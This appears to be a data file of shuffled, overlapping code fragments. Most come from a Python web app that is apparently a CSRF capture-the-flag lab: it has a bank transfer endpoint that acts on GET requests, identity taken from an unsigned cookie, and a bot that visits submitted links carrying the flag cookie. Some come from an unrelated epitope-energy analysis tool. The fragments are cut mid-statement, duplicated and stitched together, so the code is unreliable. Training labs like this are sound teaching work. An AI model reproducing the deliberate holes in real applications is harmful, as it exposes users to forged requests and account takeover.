ClickForm(Form):", "link = StringField(\"link\") @router.route(\"/\") async def index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\": request}) def", "raise HTTPException(status_code=401, detail=\"Not logged in\") transaction = (from_, form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction)", "Kerry(HTTPEndpoint): async def get(self, request: HTTPConnection): form = ClickForm() return templates.TemplateResponse( \"kerry.j2\", {\"request\":", "os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent router = Router() class ClickForm(Form): link = StringField(\"link\") @router.route(\"/\")", "StringField(\"Username\") class TransferForm(Form): dest = StringField(\"Destination\") amount = IntegerField(\"Amount\") @router.route(\"/bank\") async def bank(request:", "current_user is None else transactions[current_user], }, ) @router.route(\"/bank/login\", methods=[\"POST\"]) async def bank_login(request: HTTPConnection):", "\"current_user\": current_user, \"transactions\": [] if current_user is None else transactions[current_user], }, ) from_", "in\") transaction = (from_, form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return redirect_response(url=request.url_for(\"bank\")) app =", "None else transactions[current_user], }, ) @router.route(\"/bank/login\", methods=[\"POST\"]) async def bank_login(request: HTTPConnection): form =", "= LoginForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form,", "\"form\": form} ) transactions = defaultdict(list) class LoginForm(Form): user = StringField(\"Username\") class TransferForm(Form):", "\"form\": form} ) async def post(self, request: HTTPConnection): form = await request.form() form", "with session.get(link.url) as response: print(response.status) return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} )", "= LoginForm() transfer_form = TransferForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\":", "None else transactions[current_user], }, ) from_ = request.cookies.get(\"username\") if from_ is None: raise", "= TransferForm(request.query_params) if not form.validate(): login_form = LoginForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse(", "RedirectResponse from starlette.routing import Mount, Router from wtforms import Form, StringField, IntegerField from", "form.validate(): login_form = LoginForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request,", "request, \"form\": form} ) transactions = defaultdict(list) class LoginForm(Form): user = StringField(\"Username\") class", "request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"),", "\"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user is", "current_user is None else transactions[current_user], }, ) from_ = request.cookies.get(\"username\") if from_ is", "\"request\": request, \"login_form\": login_form, \"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\":", "import HTTPException import aiohttp from dotenv import load_dotenv from furl import furl from", "dotenv import load_dotenv from furl import furl from starlette.applications import Starlette from starlette.endpoints", "return r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async def bank_transfer(request: HTTPConnection): form = TransferForm(request.query_params) if", "from starlette.exceptions import HTTPException import aiohttp from dotenv import load_dotenv from furl import", "redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint): async def get(self,", "ClickForm(form) link = furl(form.link.data) if link.path.segments and link.path.segments[0] == \"csrf\": link.netloc = \"csrf:8080\"", "cookies = {\"username\": flag} async with aiohttp.ClientSession(cookies=cookies) as session: async with session.get(link.url) as", "is None else transactions[current_user], }, ) from_ = request.cookies.get(\"username\") if from_ is None:", "starlette.applications import Starlette from starlette.endpoints import HTTPEndpoint from starlette.middleware.sessions import SessionMiddleware from starlette.requests", "load_dotenv() flag = os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent router = Router() class ClickForm(Form): link", "LoginForm(Form): user = StringField(\"Username\") class TransferForm(Form): dest = StringField(\"Destination\") amount = IntegerField(\"Amount\") @router.route(\"/bank\")", "import aiohttp from dotenv import load_dotenv from furl import furl from starlette.applications import", "as session: async with session.get(link.url) as response: print(response.status) return templates.TemplateResponse( \"kerry.j2\", {\"request\": request,", "pathlib import Path from starlette.exceptions import HTTPException import aiohttp from dotenv import load_dotenv", ") transactions = defaultdict(list) class LoginForm(Form): user = StringField(\"Username\") class TransferForm(Form): dest =", "r.set_cookie(\"username\", form.user.data) return r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async def bank_transfer(request: HTTPConnection): form =", "HTTPEndpoint from starlette.middleware.sessions import SessionMiddleware from starlette.requests import HTTPConnection from starlette.responses import RedirectResponse", "TransferForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\":", "from_ is None: raise HTTPException(status_code=401, detail=\"Not logged in\") transaction = (from_, form.dest.data, form.amount.data)", "request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user is None else transactions[current_user], }, )", "HTTPException(status_code=401, detail=\"Not logged in\") transaction = (from_, form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return", "import HTTPEndpoint from starlette.middleware.sessions import SessionMiddleware from starlette.requests import HTTPConnection from starlette.responses import", "transfer_form = TransferForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\":", "RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint): async def get(self, request: HTTPConnection): form = ClickForm()", "link.netloc = \"csrf:8080\" cookies = {\"username\": flag} async with aiohttp.ClientSession(cookies=cookies) as session: async", "def bank_transfer(request: HTTPConnection): form = TransferForm(request.query_params) if not form.validate(): login_form = LoginForm() current_user", "HTTPConnection): form = ClickForm() return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) async", "amount = IntegerField(\"Amount\") @router.route(\"/bank\") async def bank(request: HTTPConnection): login_form = LoginForm() transfer_form =", "methods=[\"POST\"]) async def bank_login(request: HTTPConnection): form = await request.form() form = LoginForm(form) r", "= (from_, form.dest.data, form.amount.data) print(transaction) transactions[form.dest.data].append(transaction) transactions[from_].append(transaction) return redirect_response(url=request.url_for(\"bank\")) app = Starlette(routes=[ Mount(\"/csrf\",", "request}) def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args, **kwargs) @router.route(\"/kerry\") class Kerry(HTTPEndpoint): async", "session.get(link.url) as response: print(response.status) return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) transactions", "import templates load_dotenv() flag = os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent router = Router() class", "async def post(self, request: HTTPConnection): form = await request.form() form = ClickForm(form) link", "StringField, IntegerField from luhack_csrf.templater import templates load_dotenv() flag = os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent", "login_form, \"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user", "\"csrf\": link.netloc = \"csrf:8080\" cookies = {\"username\": flag} async with aiohttp.ClientSession(cookies=cookies) as session:", "aiohttp.ClientSession(cookies=cookies) as session: async with session.get(link.url) as response: print(response.status) return templates.TemplateResponse( \"kerry.j2\", {\"request\":", "defaultdict from pathlib import Path from starlette.exceptions import HTTPException import aiohttp from dotenv", "from starlette.applications import Starlette from starlette.endpoints import HTTPEndpoint from starlette.middleware.sessions import SessionMiddleware from", "starlette.exceptions import HTTPException import aiohttp from dotenv import load_dotenv from furl import furl", "from pathlib import Path from starlette.exceptions import HTTPException import aiohttp from dotenv import", "\"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": [] if current_user is", "{\"request\": request, \"form\": form} ) transactions = defaultdict(list) class LoginForm(Form): user = StringField(\"Username\")", "IntegerField(\"Amount\") @router.route(\"/bank\") async def bank(request: HTTPConnection): login_form = LoginForm() transfer_form = TransferForm() current_user", "HTTPConnection): return templates.TemplateResponse(\"main.j2\", {\"request\": request}) def redirect_response(*args, **kwargs): kwargs.setdefault(\"status_code\", 303) return RedirectResponse(*args, **kwargs)", "r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async def bank_transfer(request:", "transactions[current_user], }, ) @router.route(\"/bank/login\", methods=[\"POST\"]) async def bank_login(request: HTTPConnection): form = await request.form()", "LoginForm() transfer_form = TransferForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request,", "= os.getenv(\"CSRF_FLAG\") root_dir = Path(__file__).parent router = Router() class ClickForm(Form): link = StringField(\"link\")", "request, \"login_form\": login_form, \"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user, \"transactions\": []", "= defaultdict(list) class LoginForm(Form): user = StringField(\"Username\") class TransferForm(Form): dest = StringField(\"Destination\") amount", "form = LoginForm(form) r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"])", "from starlette.responses import RedirectResponse from starlette.routing import Mount, Router from wtforms import Form,", "LoginForm() current_user = request.cookies.get(\"username\") return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\":", "furl from starlette.applications import Starlette from starlette.endpoints import HTTPEndpoint from starlette.middleware.sessions import SessionMiddleware", "else transactions[current_user], }, ) from_ = request.cookies.get(\"username\") if from_ is None: raise HTTPException(status_code=401,", "async def get(self, request: HTTPConnection): form = ClickForm() return templates.TemplateResponse( \"kerry.j2\", {\"request\": request,", "return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) transactions = defaultdict(list) class LoginForm(Form):", "def bank_login(request: HTTPConnection): form = await request.form() form = LoginForm(form) r = redirect_response(url=request.url_for(\"bank\"))", "= LoginForm(form) r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data) return r @router.route(\"/bank/transfer\", methods=[\"GET\", \"POST\"]) async", "from starlette.routing import Mount, Router from wtforms import Form, StringField, IntegerField from luhack_csrf.templater", "link.path.segments and link.path.segments[0] == \"csrf\": link.netloc = \"csrf:8080\" cookies = {\"username\": flag} async", "{\"username\": flag} async with aiohttp.ClientSession(cookies=cookies) as session: async with session.get(link.url) as response: print(response.status)", "= ClickForm(form) link = furl(form.link.data) if link.path.segments and link.path.segments[0] == \"csrf\": link.netloc =", "{ \"request\": request, \"login_form\": login_form, \"transfer_form\": form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\": request.url_for(\"bank_transfer\"), \"current_user\": current_user,", "aiohttp from dotenv import load_dotenv from furl import furl from starlette.applications import Starlette", "response: print(response.status) return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) transactions = defaultdict(list)", "= {\"username\": flag} async with aiohttp.ClientSession(cookies=cookies) as session: async with session.get(link.url) as response:", "HTTPConnection): form = await request.form() form = LoginForm(form) r = redirect_response(url=request.url_for(\"bank\")) r.set_cookie(\"username\", form.user.data)", "\"transactions\": [] if current_user is None else transactions[current_user], }, ) from_ = request.cookies.get(\"username\")", "return templates.TemplateResponse( \"bank.j2\", { \"request\": request, \"login_form\": login_form, \"transfer_form\": transfer_form, \"login_url\": request.url_for(\"bank_login\"), \"transfer_url\":", "from starlette.middleware.sessions import SessionMiddleware from starlette.requests import HTTPConnection from starlette.responses import RedirectResponse from", "ClickForm() return templates.TemplateResponse( \"kerry.j2\", {\"request\": request, \"form\": form} ) async def post(self, request:", "from dotenv import load_dotenv from furl import furl from starlette.applications import Starlette from", "from starlette.requests import HTTPConnection from starlette.responses import RedirectResponse from starlette.routing import Mount, Router", "from furl import furl from starlette.applications import Starlette from starlette.endpoints import HTTPEndpoint from", "Router() class ClickForm(Form): link = StringField(\"link\") @router.route(\"/\") async def index(request: HTTPConnection): return templates.TemplateResponse(\"main.j2\",", "= Path(__file__).parent router = Router() class ClickForm(Form): link = StringField(\"link\") @router.route(\"/\") async def" ]
[]
[ "at {}: {} expected, got {}'.format( idx, peptide[idx], wt)) peptide_state[idx] = wt epitopedb[key]['peptide_state']", "in sorted_keys: v = epitope_energies[k] # Print header if not writer: writer =", "for k in keys]) return epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a jsonl", "energies.items(): # Keys for the epitope db are unique to the epitope, so:", "in ignore_mutation] energies = combine_energy_mutations(db, amino_codes) energies = add_entropies(energies, amino_codes, include_absolute_entropy = True,", "Print header if not writer: writer = csv.DictWriter(sys.stdout, fieldnames=fieldnames, extrasaction='ignore') writer.writeheader() writer.writerow(v) if", "default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a jsonl encoded file to dump') @click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()),", "the wt at this peptide index wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x] for", "'protein', 'epitope', 'peptide', 'peptide_status', 'peptide_state', 'startsite', 'endsite', 'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy']", "epitopedb.items(): ps = v['peptide_state'] keys = ['{},{}'.format(i,ps[i]) for i in range(len(ps)) if ps[i]", "-> epitopeinfo, [wt -> energies] Users can then iterate via the peptide chain", "!= '-': eprint('Overwriting peptide state {} at idx {}!'.format( ''.join(peptide_state), idx)) if peptide[idx]", "!= wt: eprint('Peptide mismatch at {}: {} expected, got {}'.format( idx, peptide[idx], wt))", "+ '-boltzman-entropy'] = ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy']) # Now", "wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x] for x in codes.values() if x in", "unique to the epitope, so: # name, peptide, startsite, endsite name = entry['epitope']", "mean( [v[k + '-boltzman-absolute-entropy'] for k in keys]) v['average_energy'] = mean([v[k] for k", "for aa in codes.values() if aa not in ignore_mutation] energies = combine_energy_mutations(db, amino_codes)", "= entry['start'] endsite = entry['end'] site = entry['site'] chain = entry['chains'] if not", "if x in entry]) epitopedb[key][wtk + '-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy'] =", "key = '{},{},{},{},{}'.format(name, peptide, startsite, endsite, chain) epitopedb[key]['epitope'] = name epitopedb[key]['peptide'] = peptide", "@click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a jsonl encoded file to dump') @click.option('--ignore-mutation', default=[],", "peptide_state = list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide)))) idx = int(site)-int(startsite) if peptide_state[idx] != '-':", "{} at idx {}!'.format( ''.join(peptide_state), idx)) if peptide[idx] != wt: eprint('Peptide mismatch at", "= mean([v[k + '-entropy'] for k in keys]) v['absolute_structural_entropy'] = mean([v[k + '-absolute-entropy']", "entry['end'] site = entry['site'] chain = entry['chains'] if not name: eprint('Skipping site {}", "v['boltzman_absolute_structural_entropy'] = mean( [v[k + '-boltzman-absolute-entropy'] for k in keys]) v['average_energy'] = mean([v[k]", "= get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2])) fieldnames = [ 'protein', 'epitope',", "file to dump') @click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore these mutations') def epitope_energies(database, ignore_mutation):", "for k in keys]) v['boltzman_structural_entropy'] = mean([v[k + '-boltzman-entropy'] for k in keys])", "not writer: writer = csv.DictWriter(sys.stdout, fieldnames=fieldnames, extrasaction='ignore') writer.writeheader() writer.writerow(v) if __name__ == '__main__':", "file=sys.stderr, **kwargs) def get_epitope_energies(energies): \"\"\"Create a map of epitopes -> epitopeinfo, [wt ->", "peptide_state[idx] != '-': eprint('Overwriting peptide state {} at idx {}!'.format( ''.join(peptide_state), idx)) if", "_,v in epitopedb.items(): ps = v['peptide_state'] keys = ['{},{}'.format(i,ps[i]) for i in range(len(ps))", "epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein']", "peptide, startsite, endsite name = entry['epitope'] peptide = entry['peptide'] startsite = entry['start'] endsite", "a jsonl encoded file to dump') @click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore these mutations')", "in range(len(ps)) if ps[i] != '-'] v['structural_entropy'] = mean([v[k + '-entropy'] for k", "feps tool \"\"\" from __future__ import print_function import click import csv import sys", "entropy for _,v in epitopedb.items(): ps = v['peptide_state'] keys = ['{},{}'.format(i,ps[i]) for i", "return epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a jsonl encoded file to dump')", "endsite, chain) epitopedb[key]['epitope'] = name epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite'] =", "epitopedb[key][wtk + '-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy']) # Now average energy and structural entropy", "'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer = None for k in sorted_keys: v", "= entry['peptide'] startsite = entry['start'] endsite = entry['end'] site = entry['site'] chain =", "+ '-absolute-entropy'] for k in keys]) v['boltzman_structural_entropy'] = mean([v[k + '-boltzman-entropy'] for k", "peptide = entry['peptide'] startsite = entry['start'] endsite = entry['end'] site = entry['site'] chain", "+ '-boltzman-entropy'] for k in keys]) v['boltzman_absolute_structural_entropy'] = mean( [v[k + '-boltzman-absolute-entropy'] for", "writer = None for k in sorted_keys: v = epitope_energies[k] # Print header", "entry['epitope'] peptide = entry['peptide'] startsite = entry['start'] endsite = entry['end'] site = entry['site']", "order This includes the structural energie, which is the mean of the site", "wt)) peptide_state[idx] = wt epitopedb[key]['peptide_state'] = ''.join(peptide_state) # Average energy for the wt", "in energies.items(): # Keys for the epitope db are unique to the epitope,", "v['absolute_structural_entropy'] = mean([v[k + '-absolute-entropy'] for k in keys]) v['boltzman_structural_entropy'] = mean([v[k +", "an epitope'.format( site)) continue key = '{},{},{},{},{}'.format(name, peptide, startsite, endsite, chain) epitopedb[key]['epitope'] =", "'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer = None for k in sorted_keys: v = epitope_energies[k] #", "'startsite', 'endsite', 'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer = None for k", "# Print header if not writer: writer = csv.DictWriter(sys.stdout, fieldnames=fieldnames, extrasaction='ignore') writer.writeheader() writer.writerow(v)", "mean def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) def get_epitope_energies(energies): \"\"\"Create a map of", "in epitopedb.items(): ps = v['peptide_state'] keys = ['{},{}'.format(i,ps[i]) for i in range(len(ps)) if", "sys from collections import defaultdict from feps.energy import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import mean", "= defaultdict(dict) for _,entry in energies.items(): # Keys for the epitope db are", "of epitopes -> epitopeinfo, [wt -> energies] Users can then iterate via the", "# name, peptide, startsite, endsite name = entry['epitope'] peptide = entry['peptide'] startsite =", "True) epitope_energies = get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2])) fieldnames = [", "at idx {}!'.format( ''.join(peptide_state), idx)) if peptide[idx] != wt: eprint('Peptide mismatch at {}:", "x: int(x.split(',')[2])) fieldnames = [ 'protein', 'epitope', 'peptide', 'peptide_status', 'peptide_state', 'startsite', 'endsite', 'chains',", "include_absolute_boltzman_entropy= True) epitope_energies = get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2])) fieldnames =", "v = epitope_energies[k] # Print header if not writer: writer = csv.DictWriter(sys.stdout, fieldnames=fieldnames,", "chain = entry['chains'] if not name: eprint('Skipping site {} as it does not", "epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains'] = chain wt = entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state', (\"-\"", "ps = v['peptide_state'] keys = ['{},{}'.format(i,ps[i]) for i in range(len(ps)) if ps[i] !=", "epitopedb[key]['epitope'] = name epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite']", "are unique to the epitope, so: # name, peptide, startsite, endsite name =", "for the epitope db are unique to the epitope, so: # name, peptide,", "grab the energies in order This includes the structural energie, which is the", "= v['peptide_state'] keys = ['{},{}'.format(i,ps[i]) for i in range(len(ps)) if ps[i] != '-']", "keys]) v['absolute_structural_entropy'] = mean([v[k + '-absolute-entropy'] for k in keys]) v['boltzman_structural_entropy'] = mean([v[k", "epitope_energies = get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2])) fieldnames = [ 'protein',", "jsonl encoded file to dump') @click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore these mutations') def", "mean([entry[x] for x in codes.values() if x in entry]) epitopedb[key][wtk + '-entropy'] =", "entry['chains'] if not name: eprint('Skipping site {} as it does not match an", "energies] Users can then iterate via the peptide chain to grab the energies", "got {}'.format( idx, peptide[idx], wt)) peptide_state[idx] = wt epitopedb[key]['peptide_state'] = ''.join(peptide_state) # Average", "peptide index wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x] for x in codes.values() if", "= entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide)))) idx = int(site)-int(startsite) if peptide_state[idx]", "for the wt at this peptide index wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x]", "True, include_boltzman_entropy= True, include_absolute_boltzman_entropy= True) epitope_energies = get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(), key=lambda x:", "mean of the site entropies \"\"\" epitopedb = defaultdict(dict) for _,entry in energies.items():", "entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide)))) idx = int(site)-int(startsite) if peptide_state[idx] !=", "index wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x] for x in codes.values() if x", "Average energy for the wt at this peptide index wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk]", "'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer = None for k in sorted_keys: v =", "in keys]) v['average_energy'] = mean([v[k] for k in keys]) return epitopedb @click.command() @click.option('--database',", "entry['start'] endsite = entry['end'] site = entry['site'] chain = entry['chains'] if not name:", "chain wt = entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide)))) idx = int(site)-int(startsite)", "{} expected, got {}'.format( idx, peptide[idx], wt)) peptide_state[idx] = wt epitopedb[key]['peptide_state'] = ''.join(peptide_state)", "k in keys]) v['boltzman_absolute_structural_entropy'] = mean( [v[k + '-boltzman-absolute-entropy'] for k in keys])", "range(len(ps)) if ps[i] != '-'] v['structural_entropy'] = mean([v[k + '-entropy'] for k in", "in codes.values() if x in entry]) epitopedb[key][wtk + '-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk +", "from feps.entropy import mean def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) def get_epitope_energies(energies): \"\"\"Create", "in entry]) epitopedb[key][wtk + '-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy'] = ( entry['absolute_shannon_entropy'])", "peptide_state[idx] = wt epitopedb[key]['peptide_state'] = ''.join(peptide_state) # Average energy for the wt at", "peptide chain to grab the energies in order This includes the structural energie,", "so: # name, peptide, startsite, endsite name = entry['epitope'] peptide = entry['peptide'] startsite", "k in keys]) return epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a jsonl encoded", "v['average_energy'] = mean([v[k] for k in keys]) return epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL", "aa in codes.values() if aa not in ignore_mutation] energies = combine_energy_mutations(db, amino_codes) energies", "the energies in order This includes the structural energie, which is the mean", "load_db(database) amino_codes = [aa for aa in codes.values() if aa not in ignore_mutation]", "import csv import sys from collections import defaultdict from feps.energy import load_db,combine_energy_mutations,codes,add_entropies from", "= ( entry['absolute_boltzman_shannon_entropy']) # Now average energy and structural entropy for _,v in", "keys]) v['average_energy'] = mean([v[k] for k in keys]) return epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json',", "int(startsite) epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains'] = chain wt = entry['wt']", "v['boltzman_structural_entropy'] = mean([v[k + '-boltzman-entropy'] for k in keys]) v['boltzman_absolute_structural_entropy'] = mean( [v[k", "= sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2])) fieldnames = [ 'protein', 'epitope', 'peptide', 'peptide_status', 'peptide_state',", "'-entropy'] for k in keys]) v['absolute_structural_entropy'] = mean([v[k + '-absolute-entropy'] for k in", "if ps[i] != '-'] v['structural_entropy'] = mean([v[k + '-entropy'] for k in keys])", "= wt epitopedb[key]['peptide_state'] = ''.join(peptide_state) # Average energy for the wt at this", "main.py - main functionality for feps tool \"\"\" from __future__ import print_function import", "expected, got {}'.format( idx, peptide[idx], wt)) peptide_state[idx] = wt epitopedb[key]['peptide_state'] = ''.join(peptide_state) #", "the structural energie, which is the mean of the site entropies \"\"\" epitopedb", "k in sorted_keys: v = epitope_energies[k] # Print header if not writer: writer", "**kwargs): print(*args, file=sys.stderr, **kwargs) def get_epitope_energies(energies): \"\"\"Create a map of epitopes -> epitopeinfo,", "epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains'] = chain wt", "startsite, endsite, chain) epitopedb[key]['epitope'] = name epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite']", "+ '-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy'] = ( entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy']", "eprint('Overwriting peptide state {} at idx {}!'.format( ''.join(peptide_state), idx)) if peptide[idx] != wt:", "to the epitope, so: # name, peptide, startsite, endsite name = entry['epitope'] peptide", "= [aa for aa in codes.values() if aa not in ignore_mutation] energies =", "entry['site'] chain = entry['chains'] if not name: eprint('Skipping site {} as it does", "= entry['protein'] epitopedb[key]['chains'] = chain wt = entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state', (\"-\" *", "epitopedb[key][wtk] = mean([entry[x] for x in codes.values() if x in entry]) epitopedb[key][wtk +", "key=lambda x: int(x.split(',')[2])) fieldnames = [ 'protein', 'epitope', 'peptide', 'peptide_status', 'peptide_state', 'startsite', 'endsite',", "= entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy'] = ( entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy'] = (", "chain) epitopedb[key]['epitope'] = name epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite)", "via the peptide chain to grab the energies in order This includes the", "'-boltzman-entropy'] = ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy']) # Now average", "collections import defaultdict from feps.energy import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import mean def eprint(*args,", "defaultdict from feps.energy import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import mean def eprint(*args, **kwargs): print(*args,", "epitope db are unique to the epitope, so: # name, peptide, startsite, endsite", "db = load_db(database) amino_codes = [aa for aa in codes.values() if aa not", "amino_codes) energies = add_entropies(energies, amino_codes, include_absolute_entropy = True, include_boltzman_entropy= True, include_absolute_boltzman_entropy= True) epitope_energies", "endsite name = entry['epitope'] peptide = entry['peptide'] startsite = entry['start'] endsite = entry['end']", "for k in keys]) v['absolute_structural_entropy'] = mean([v[k + '-absolute-entropy'] for k in keys])", "name: eprint('Skipping site {} as it does not match an epitope'.format( site)) continue", "energies = add_entropies(energies, amino_codes, include_absolute_entropy = True, include_boltzman_entropy= True, include_absolute_boltzman_entropy= True) epitope_energies =", "+ '-entropy'] for k in keys]) v['absolute_structural_entropy'] = mean([v[k + '-absolute-entropy'] for k", "'epitope', 'peptide', 'peptide_status', 'peptide_state', 'startsite', 'endsite', 'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer", "keys]) v['boltzman_structural_entropy'] = mean([v[k + '-boltzman-entropy'] for k in keys]) v['boltzman_absolute_structural_entropy'] = mean(", "entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy']) # Now average energy and structural", 